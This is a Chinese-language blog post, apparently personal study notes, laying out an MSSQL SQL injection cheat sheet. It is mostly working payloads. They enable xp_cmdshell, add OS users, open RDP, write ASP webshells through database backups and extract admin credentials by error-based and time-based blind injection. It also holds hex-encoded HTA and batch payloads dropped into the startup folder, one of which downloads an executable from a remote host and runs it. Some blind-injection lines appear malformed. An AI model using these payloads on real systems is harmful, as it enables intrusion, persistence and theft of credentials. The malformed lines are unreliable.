PyxYuYu/MyBlog

注入(四)

PyxYuYu opened this issue · 0 comments

I learned the value of hard work by working hard.

0x01 SQL注入

  • MSSQL
    • 默认数据库
      • information_schema:适用于 MSSQL 2000 及更高版本
      • pubs:不适用于 MSSQL 2005
      • model:适用于所有版本
      • msdb:适用于所有版本
      • tempdb:适用于所有版本
      • northwind:适用于所有版本
    • 注释查询
      • /*
      • --
      • ;00%
      • 例如:
         select * from Users where username = '' or 1=1 --' and password = '';
      
    • 三种权限
      • sa:可以直接执行命令
      • db_owner:找到 Web 路径,利用备份的方式得到 WebShell,有时也可以对注册表进行操作
      • public:需要猜解表和列
    • 权限判断
      • 利用 IS_SRVROLEMEMBER 函数来判断
        • public sysadmin db_owner
           and 1=(select IS_SRVROLEMEMBER('public'))
        
      • 利用 is_member 函数来判断
        • dbo db_owner public
           and 1=(select is_member('dbo'))
        
      • 利用 user_name() 来判断
        • dbo db_owner public
           and user_name()='dbo'
        
    • 数据库版本判断
       and 1=convert(int, @@version)
    
    • 当正在使用的数据库名
       and 1=convert(int, db_name())
    
       and (select db_name())>0
    
    • 当前用户名
       and 1=convert(int, user_name())
    
       and 0<>(select user_name())
    
    • 跨裤查询
       // 将n改成0,1,2,3......可以实现跨裤查询
       and 0<>db_name(n)
    
    • 查看数据库是否支持多语句查询
       ;declare @d int;
    
    • 判断站、库是否分离
      • 显示数据库客户端主机名
         and (select host_name())>0
      
      • 显示数据库服务端主机名
         and (select @@servername)>0
      
    • sa 权限
      • xp_cmdshell 执行任意命令
        • 判断 xp_cmdshell 这个存储过程是否存在
           and 1=(select count(*) from master.dbo.sysobjects where xtype ='x' and name = 'xp_cmdshell')
        
        • 如果返回错误,说明不存在,在 MSSQL 2005 之后的数据库中,默认不开启 xp_cmdshell 存储过程,要使用这个功能,必须先进行恢复
           ;exec sp_configure 'show advanced options`,1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;
        
        • 如果执行了这条命令,仍然无法开启 xp_cmdshell 存储进程,说明管理员将 xplog70.dll 删除了,需要将 xplog70.dll 上传至目标服务器(一般通过 WebShell 上传)
        • 继续执行,即可恢复 xp_cmdshell
           ;exec master.dbo.sp_addextendedproc 'xp_cmdshell`,`c:\recycler\xplog70.dll';--
        
        • 恢复 xp_cmdshell 之后,就可以运用这个存储过程执行系统命令
           // 显示系统版本
           ;exec master.dbo.xp_cmdshell 'ver';
        
        • 如果
      • xp_dirtree 列出文件目录
        • MSSQL 2005 默认不开启
           ;exec master.dbo.xp_dirtree 'c:\',1,1;
        
      • SP_OAcreate 列出文件目录
        • MSSQL 2005 默认不开启 SP_OAcreate 存储过程,因此需要先启用 Ole Automation Procedures 组件
           ;exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'Ole Automation Procedures',1;reconfigure;
        
        • 利用 wscript.shell 执行命令,添加用户,之后连接 3389 或者进行其他操作
           ;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user pyx 123456 /add'
        
      • sp_makewebtask 写入一句话木马(只能写文本数据)
        • MSSQL 2005 默认未开启 sp_configure 存储过程,因此得先启用 Web Assistant Procedures 组件
           ;exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'Web Assistant Procedures',1;reconfigure;
        
        • 之后,执行下面命令,生成一句话木马 c:\test.asp
           ;exec sp_makewebtask 'c:\test.asp','select"<%execute(request("a"))%>"';
        
      • xp_regwrite 操作注册表
        • 开启 3389 端口命令(关闭则将 0 改成 1)
           ;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
        
        • 查看远程桌面终端开启的端口号命令
           ;exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber';
        
    • db_owner 权限
      • 具有对当前数据库的修改、删除、新增数据表及执行 xp_regreadxp_dirtree 等部分存储过程的权限(MSSQL 2005 以上版本,默认不开启这两个存储过程)
      • 该权限下除了可以采取 public 权限下的注入方式之外,还可以采取 数据库差异备份(或 LOG备份)一句话木马的方式获得 WebShell,甚至可以直接将木马备份到操作系统的启动项,待管理员重启服务器的时候获得控制权限
      • 获取网站的绝对路径(差异备份 或者 LOG备份 的前提)
        • 直接通过网页报错信息,获得网站的绝对路径
          • URL 后添加 ' 符号,使网站报错,得到错误信息中显示的绝对路径
        • 通过调用 xp_regreadxp_dirtree 存储组件获得网站的绝对路径
          • 调用 xp_regread 存储过程
             ;create table cmd(a varchar(255))--   //创建表
             ;declare @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into cmd values(@result);--                      //将网站目录插到表字段中
             and 1=(select count(*) from cmd where a > 1);--  //暴出该字段
             ;drop table cmd--  //删除此表
          
          • 调用 xp_dirtree 存储过程
             ;create table cmd(subdirectory varchar(400) NULL,depth tinyint NULL,[file] bit NULL)--      //创建表
             ;insert cmd exec master..xp_dirtree 'C:\',1,1--   //将C盘的文件夹及文件插入到表中
             and 1=(select top 1 cast([subdirectory] as varchar(400))+char(124)+cast([file] as varchar(1))+char(124) from (select Top 1 [subdirectory],[file] from cmd order by [file],[subdirectory]) T order by [file] desc,[subdirectory] desc);--       //暴出第1个文件夹名称
             and 1=(select top 1 cast([subdirectory] as varchar(400))+char(124)+cast([file] as varchar(1))+char(124) from(select Top X [subdirectory],[file] from [jm_tmp] order by [file],[subdirectory]) T order by [file] desc,[subdirectory] desc);--   //暴出第X个文件夹名称
          
      • 备份一句话木马
        • 数据库 差异备份
           ;backup database [当前数据库名] to disk = 'c:\recycler\1.bak'--   //先备份一次数据库
           ;create table cmd (a image)--             //新建立一个名称为cmd的表
           ;insert into cmd (a) values ('<%eval request("cmd")%>')--    //插入一句话木马
           ;backup database [当前数据库名] to disk = '网站绝对路径' WITH DIFFERENTIAL,FORMAT--
        
        • LOG备份
           ;alter database 当前数据库名 set RECOVERY FULL-- //把SQL设置成日志完全恢复模式
           ;create table cmd (a image)--          //新建立一个名称为cmd的表
           ;backup log [当前数据库名] to disk = 'c:\recycler\1.bak' with init--  //先把日志备份到C盘
           ;insert into cmd (a) values ('<%eval request("cmd")%>')--   //插入一句话木马
           ;backup log [当前数据库名] to disk = '网站绝对路径'--    //备份日志到网站绝对路径上,比如 ;backup log flower to disk = 'C:\flowerCompany\test.asp'--,菜刀链接 http://www.xxx.com/test.asp 即可
           ;drop table cmd-- 删除新建的cmd表
           ;alter database [当前数据库名] set RECOVERY SIMPLE--   //把SQL设置成日志简单恢复模式
        
        • 由于大型网站的数据库很大,数据库内部数据的偶然性,采用数据库 差异备份 的成功率很低,而采用 LOG备份 的文件体积很小,也很稳定,所以较常使用 LOG备份 一句话木马
      • 备份木马至启动项
        • 通过远程下载方式备份 hta 木马至服务器启动项(htascript 脚本)
           ;alter database [当前数据库名] set RECOVERY FULL--
           ;create table cmd(a image)--
           ;backup log [当前数据库名] to disk = 'c:\recycler\1.txt' with init--
           ;insert into cmd values(0x3C736372697074206C616E67756167653D225642536372697074223E0D0A77696E646F772E6D6F7665546F20383838382C383838380D0A753D22687474703A2F2F3139322E3136382E312E32332F746573742E657865220D0A703D226D2E657865220D0A53657420783D4372656174654F626A65637428224D6963726F736F66742E584D4C4854545022290D0A782E4F70656E22474554222C752C300D0A782E53656E6428290D0A53657420733D4372656174654F626A656374282241444F44422E53747265616D22290D0A732E4D6F64653D330D0A732E547970653D310D0A732E4F70656E28290D0A732E577269746528782E726573706F6E7365426F6479290D0A732E53617665546F46696C6520702C320D0A53657420773D4372656174654F626A6563742822577363726970742E5368656C6C22290D0A772E52756E20702C300D0A772E52756E22636D64202F632064656C20612E687461222C300D0A77696E646F772E726573697A65546F20302C300D0A77696E646F772E636C6F73650D0A3C2F7363726970743E)--
           ;backup log [当前数据库名] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.hta'--
           ;drop table cmd--
        
        • 备份添加用户的 bat 至服务器启动项
           ;alter database [当前数据库名] set RECOVERY FULL--
           ;create table cmd (a image)--
           ;backup log [当前数据库名] to disk = 'c:\recycler\1.bak' with init--
           ;insert into cmd (a) values (0x406563686F206F66660D0A406364202577696E646972250D0A406E657420757365722061646D696E2061646D696E202F6164640D0A406E6574206C6F63616C67726F75702061646D696E6973747261746F72732061646D696E202F6164640D0A4064656C2073746172742E6261740D0A40657869740D0A400D0A)--
           ;backup log [当前数据库名] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat'--
           ;drop table cmd--
        
        • 由于 bat 文件对字节数有严格要求,并且 bat 文件执行很不稳定,实际的操作过程中一般采用备份成 hta 文件的方式
    • public 权限
      • 权限最小,只能进行列目录、读取数据库、建立临时表等操作,该权限下的注入,通常是通过爆库名、爆表名、爆列名、最后爆出关键列名对应的内容,从而获得后台管理员的用户名和密码
      • 当前数据库注入步骤
        • 爆表名
           // n从1开始,可以爆第一个表名,之后类推
           and (select top 1 name from(select top n id,name from sysobjects where xtype=char(85)) T order by id desc)>1
        
        • 爆列名
           // 利用上面爆出的表名,n从1开始,依次爆出所有列名
           and (select top 1 col_name(object_id('表名'),n) from sysobjects)>1
        
           // 利用 having 1=1 和 group by,但是只能爆当前数据库的当前表的所有列名
           having 1=1
           // 列名是从 having 1=1 爆出得来
           group by 列名 having 1=1
        
        • 爆内容
           // 通过改变n,来获取所有内容
           and (select top n 列名 from 表名)>1
        
           // 另外一种快速猜解方法,就是利用平时积累的常用表名直接带入查询是否存在
           // order by 出列数量,直接将猜测的表名带入查看是否返回正常,正常则存在,列名一样猜测
           and 1=2 union select 1,2,3,4,5,6 from admin
        
    • 盲注
      • 无错误回显的 MSSQL 注入,即弹出对话框(非防注入警告)、调整到另一个页面、不显示内容,可以采用盲注
      • 基于时间的盲注
        • 利用 ifwaitfor delay 的结合,延迟执行 SQL 语句,类似 Access 中的 ASCII 码逐位猜解
           // 查看权限
           ;if (0=(SELECT IS_MEMBER ('db_owner'))) waitfor delay '0:0:5'--
        
           // 查看库名
           ;if(lower(ascii(substring(db_name()),n,1))>97) waitfor delay '0:0:5'--
        
           // 查看表名
           ;if(select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') And ascii(substring(name,1,1))>80)=1 waitfor delay '0:0:5'--
        
           // 查看其他表名
           ;if(select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u' And name not in ('表名')) And ascii(substring(name,1,1))>80)=1 waitfor delay '0:0:5'--
        
           // 假设表名 admin,查看列名
           ;if(Ascii(substring((select top 1 column_name from information_schema.columns where table_name='admin'),1,1)))>80 '0:0:5'--
        
           // 查看其他列名
           ;if(Ascii(substring((select top 1 column_name from information_schema.columns where column_name<>('ID') And table_name='admin'),1,1)))>80 '0:0:5'--
           ;if(Ascii(substring((select top 1 column_name from information_schema.columns where column_name<>('ID') AND where column_name<>('username') And table_name='admin'),1,1)))>80 '0:0:5'--
        
           // 获取具体数据
           ;if(ascii(substring((select top 1 Username from admin),1,1)))>1 waitfor delay '0:0:5'--
           ;if(ascii(substring((select top 1 Password from admin),1,1)))>1 waitfor delay '0:0:5'--